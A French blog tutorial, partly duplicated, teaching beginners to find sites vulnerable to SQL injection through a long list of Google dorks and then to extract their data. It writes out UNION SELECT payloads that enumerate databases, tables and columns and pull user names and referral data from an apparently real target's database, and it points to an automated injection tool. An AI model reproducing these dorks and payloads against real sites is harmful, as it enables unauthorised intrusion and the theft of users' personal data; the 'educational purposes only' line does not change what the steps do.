[Tutoriel] SQL Injection ----- Pour Débutants
Étape 1:
Trouver un site qui est vulnérable à l'attaque. C'est la première étape de SQLI . Une fois que vous obtenez par ce biais, reste est un cake-walk. Maintenant, nous savons tous quel genre de pages sont vulnérables à cette attaque. Nous mettons à votre disposition quelques dorks (Google chaînes pour trouver des sites vulnérables). Bien qu' à la fin de ce post, nous vous fournirons une application avec une intérface simplifié pour attaquer un site vulnérable.
Comment vérifier si une page Web est vulnérable à cette attaque ???
Une fois que vous exécutez les dorks et obtenir les résultats de la recherche préférés. Disons, par exemple:
Ajouter un '(apos) à la fin de l'URL. Tels que l'URL ressemble
Si la page renvoie une erreur SQL, la page est vulnérable à SQLI. S'il charge normalement, quitter la page et de passer à la prochaine site dans les résultats de recherche.
Erreurs typiques que vous obtiendrez après la concaténation de l'apostrophe sont:
Étape 2:
Une fois que vous trouvez un site vulnérable, vous avez besoin d'énumérer le nombre de colonnes et les colonnes qui acceptent les requêtes de vous.
Ajoutez un 'order by' déclaration à l'URL.
Continuez à augmenter le nombre après la commande par jusqu'à ce que vous obtenez une erreur. Donc, le plus grand nombre pour lequel vous ne obtenez pas une erreur est le nombre de colonnes dans la table. Maintenant, pour connaître les numéros de colonnes qui acceptent les requêtes.
Annexer une déclaration 'Union select' à l'URL. Aussi précéder le nombre après "id =" par un tiret ou moins.
Dites de l'étape ci-dessus, vous obtenu que la table a six colonnes.
Résultat de cette requête sera le nombre de colonnes qui acceptent les requêtes. Disons que nous obtenons 2,3,4 comme résultat. Maintenant, nous allons injecter nos états SQL dans une de ces colonnes.
Étape 3: Énumération la version de SQL
Nous allons utiliser la commande mysql "@@version" ou une "version()" pour obtenir la version de la db. Nous devons injecter de la commande dans l'une des colonnes ouvertes. Disons que nous utilisons colonne numéro 2.
Vous obtiendrez la version de la base de données à l'endroit où vous aviez obtenu le nombre 2. Si le départ du numéro de version est de 5 ou plus, alors vous êtes bon pour aller. Si moins déménagement sur un autre site.
Étape 4: Exploit
Pour obtenir la liste des bases de données:
Résultat affichera une liste des bases de données sur le site. Ici, nous écrirons les résultats que nous avons obtenu de notre test.
Pour connaître la base de données en cours d'utilisation:
Pour obtenir l'utilisateur actuel:
Pour obtenir les tableaux:
Nous nous concentrerons notre attaque sur la table des utilisateurs.
Pour obtenir les colonnes:
En regardant les colonnes de près, et l'ordre des tables, nous pouvons conclure qu'à partir de id, incredible_id sont les colonnes appartenant à la table des utilisateurs et nous sommes intéressés à ça.
Extraire l'information:
Si c'est dure de suivre ces étapes vous pouvez économiser votre temps par cette application:
Download jsql-injection-v0.5.jar
Dorks:
"inurl:index.php?catid="
"inurl:news.php?catid="
"inurl:index.php?id="
"inurl:news.php?id="
inurl:index.php?id=
inurl:trainers.php?id=
inurl:buy.php?category=
inurl:article.php?ID=
inurl:play_old.php?id=
inurl:declaration_more.php?decl_id=
inurl:pageid=
inurl:games.php?id=
inurl:page.php?file=
inurl:newsDetail.php?id=
inurl:gallery.php?id=
inurl:article.php?id=
inurl:show.php?id=
inurl:staff_id=
inurl:newsitem.php?num=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:historialeer.php?num=
inurl:reagir.php?num=
inurl:Stray-Questions-View.php?num=
inurl:forum_bds.php?num=
inurl:game.php?id=
inurl:view_product.php?id=
inurl:newsone.php?id=
inurl:sw_comment.php?id=
inurl:news.php?id=
inurl:avd_start.php?avd=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:news_view.php?id=
inurl:select_biblio.php?id=
inurl:humor.php?id=
inurl:aboutbook.php?id=
inurl:ogl_inet.php?ogl_id=
inurl:fiche_spectacle.php?id=
inurl:communique_detail.php?id=
inurl:sem.php3?id=
inurl:kategorie.php4?id=
inurl:news.php?id=
inurl:index.php?id=
inurl:faq2.php?id=
inurl:show_an.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:opinions.php?id=
inurl:spr.php?id=
inurl:pages.php?id=
inurl:announce.php?id=
inurl:clanek.php4?id=
inurl:participant.php?id=
inurl:download.php?id=
inurl:main.php?id=
inurl:review.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:prod_detail.php?id=
inurl:viewphoto.php?id=
inurl:article.php?id=
inurl:person.php?id=
inurl:productinfo.php?id=
inurl:showimg.php?id=
inurl:view.php?id=
inurl:website.php?id=
inurl:hosting_info.php?id=
inurl:gallery.php?id=
inurl:rub.php?idr=
inurl:view_faq.php?id=
inurl:artikelinfo.php?id=
inurl:detail.php?ID=
inurl:index.php?=
inurl:profile_view.php?id=
inurl:category.php?id=
inurl:publications.php?id=
inurl:fellows.php?id=
inurl:downloads_info.php?id=
inurl:prod_info.php?id=
inurl:shop.php?do=part&id=
inurl:productinfo.php?id=
inurl:collectionitem.php?id=
inurl:band_info.php?id=
inurl:product.php?id=
inurl:releases.php?id=
inurl:ray.php?id=
inurl:produit.php?id=
inurl:pop.php?id=
inurl:shopping.php?id=
inurl:productdetail.php?id=
inurl:post.php?id=
inurl:viewshowdetail.php?id=
inurl:clubpage.php?id=
inurl:memberInfo.php?id=
inurl:section.php?id=
inurl:theme.php?id=
inurl:page.php?id=
inurl:shredder-categories.php?id=
inurl:tradeCategory.php?id=
inurl:product_ranges_view.php?ID=
inurl:shop_category.php?id=
inurl:transcript.php?id=
inurl:channel_id=
inurl:item_id=
inurl:newsid=
inurl:trainers.php?id=
inurl:news-full.php?id=
inurl:news_display.php?getid=
inurl:index2.php?option=
inurl:readnews.php?id=
inurl:top10.php?cat=
inurl:newsone.php?id=
inurl:event.php?id=
inurl:product-item.php?id=
inurl:sql.php?id=
inurl:aboutbook.php?id=
inurl:preview.php?id=
inurl:loadpsb.php?id=
inurl:pages.php?id=
inurl:material.php?id=
inurl:clanek.php4?id=
inurl:announce.php?id=
inurl:chappies.php?id=
inurl:read.php?id=
inurl:viewapp.php?id=
inurl:viewphoto.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:review.php?id=
inurl:iniziativa.php?in=
inurl:curriculum.php?id=
inurl:labels.php?id=
inurl:story.php?id=
inurl:look.php?ID=
inurl:newsone.php?id=
inurl:aboutbook.php?id=
inurl:material.php?id=
inurl:opinions.php?id=
inurl:announce.php?id=
inurl:rub.php?idr=
inurl:galeri_info.php?l=
inurl:tekst.php?idt=
inurl:newscat.php?id=
inurl:newsticker_info.php?idn=
inurl:rubrika.php?idr=
inurl:rubp.php?idr=
inurl:offer.php?idf=
inurl:art.php?idm=
inurl:title.php?id=
et vous pouvez également écrire ou créer votre propore dork
Comment vérifier si une page Web est vulnérable à cette attaque ???
Une fois que vous exécutez les dorks et obtenir les résultats de la recherche préférés. Disons, par exemple:
hxxp://www.abcd.com/index.php?catid=1
Ajouter un '(apos) à la fin de l'URL. Tels que l'URL ressemble
hxxp://www.abcd.com/index.php?catid=1'
Si la page renvoie une erreur SQL, la page est vulnérable à SQLI. S'il charge normalement, quitter la page et de passer à la prochaine site dans les résultats de recherche.
Erreurs typiques que vous obtiendrez après la concaténation de l'apostrophe sont:
Warning: mysql_fetch_array():
Warning: mysql_fetch_assoc():
Warning: mysql_numrows():
Warning: mysql_num_rows():
Warning: mysql_result():
Warning: mysql_preg_match():
Étape 2:
Une fois que vous trouvez un site vulnérable, vous avez besoin d'énumérer le nombre de colonnes et les colonnes qui acceptent les requêtes de vous.
Ajoutez un 'order by' déclaration à l'URL.
ex. hxxp://www.abcd.com/index.php?catid=1 order by 1
Continuez à augmenter le nombre après la commande par jusqu'à ce que vous obtenez une erreur. Donc, le plus grand nombre pour lequel vous ne obtenez pas une erreur est le nombre de colonnes dans la table. Maintenant, pour connaître les numéros de colonnes qui acceptent les requêtes.
Annexer une déclaration 'Union select' à l'URL. Aussi précéder le nombre après "id =" par un tiret ou moins.
Dites de l'étape ci-dessus, vous obtenu que la table a six colonnes.
ex. hxxp://www.abcd.com/index.php?catid=-1 union select 1,2,3,4,5,6
Résultat de cette requête sera le nombre de colonnes qui acceptent les requêtes. Disons que nous obtenons 2,3,4 comme résultat. Maintenant, nous allons injecter nos états SQL dans une de ces colonnes.
Étape 3: Énumération la version de SQL
Nous allons utiliser la commande mysql "@@version" ou une "version()" pour obtenir la version de la db. Nous devons injecter de la commande dans l'une des colonnes ouvertes. Disons que nous utilisons colonne numéro 2.
ex. hxxp://www.abcd.com/index.php?catid=-1 union select 1,@@version,3,4,5,6
Étape 4: Exploit
Pour obtenir la liste des bases de données:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(schema_name),3,4,5,6 from information_schema.schemata--
Résultat affichera une liste des bases de données sur le site. Ici, nous écrirons les résultats que nous avons obtenu de notre test.
Resultat:
information_schema,vrk_mlm
Pour connaître la base de données en cours d'utilisation:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(database()),3,4,5,6--
Result: vrk_mlm
Pour obtenir l'utilisateur actuel:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,concat(user()),3,4,5,6--
Result: vrk_4mlm@localhost
Pour obtenir les tableaux:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(table_name),3,4,5,6 from information_schema.tables where table_schema=database()--
Result: administrator,category,product,users
Nous nous concentrerons notre attaque sur la table des utilisateurs.
Pour obtenir les colonnes:
hxxp://www.abcd.com/index.php?catid=-1 union select 1,group_concat(column_name),3,4,5,6 from information_schema.columns where table_schema=database()--
Resultat:
admin_id,user_name,password,user_type,status,catID,catName,prodId,catID,prodName,prodDesc,
prodKeyword,prodPrice,prodImage,id,incredible_id,f_name,m_name,l_name,refered_by_id,
refered_direct_to_ids,refered_to_ids,no_of_direct_referals,credits,position,
email_id,password,edited_on,last_login,created_on,chain_number,phone,address
En regardant les colonnes de près, et l'ordre des tables, nous pouvons conclure qu'à partir de id, incredible_id sont les colonnes appartenant à la table des utilisateurs et nous sommes intéressés à ça.
Extraire l'information:
union select group_concat(id,0x3a,incredible_id,0x3a,f_name,0x3a,m_name,0x3a,l_name,0x3a,refered_by_id,0
x3a,refered_direct_to_ids,0x3a) from vrk_mlm.users--
Si c'est dure de suivre ces étapes vous pouvez économiser votre temps par cette application:
Download jsql-injection-v0.5.jar
Rappelez-vous, c'est pour des fins éducatives seulement
Aucun commentaire:
Enregistrer un commentaire